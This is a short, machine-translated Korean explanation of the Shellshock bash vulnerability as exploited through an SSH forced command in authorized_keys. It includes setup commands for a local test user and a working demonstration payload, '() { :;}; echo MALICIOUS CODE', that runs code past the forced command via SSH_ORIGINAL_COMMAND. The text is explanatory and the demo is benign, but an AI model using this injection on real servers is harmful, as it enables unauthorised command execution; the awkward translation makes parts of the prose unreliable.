이를 악용 할 수있는 한 가지 예는 authorized_keys
강제 명령 이있는 서버입니다 . 에 항목을 추가 할 때 ssh 공개 키가 사용될 때마다 강제 로 실행되도록 ~/.ssh/authorized_keys
행 접두어를 지정할 수 있습니다 . 이 익스플로잇을 사용하면 대상 사용자의 쉘이로 설정된 경우 익스플로잇을 이용하여 명령이 아닌 다른 항목을 실행할 수 있습니다.command="foo"
foo
bash
이것은 아마도 예에서 더 의미가있을 것이므로 여기에 예가 있습니다.
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
여기서 testuser
ssh 키를 사용하는 ssh 연결을 강제로 실행 하는 사용자를 설정합니다 echo starting sleep; sleep 1
.
우리는 이것을 테스트 할 수 있습니다 :
$ ssh testuser@localhost echo something else
starting sleep
우리 echo something else
가 어떻게 실행되지는 않지만 starting sleep
강제 명령이 실행되었음을 보여줍니다.
이제이 익스플로잇이 어떻게 사용되는지 보여 드리겠습니다 :
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
이것은 환경 변수를 전달 된 명령으로 sshd
설정 하기 때문에 작동 합니다 SSH_ORIGINAL_COMMAND
. 그래서 비록 sshd
실행 sleep
, 그리고 명령을 내 코드는 여전히 실행됩니다 때문에 악용의,에 말했다.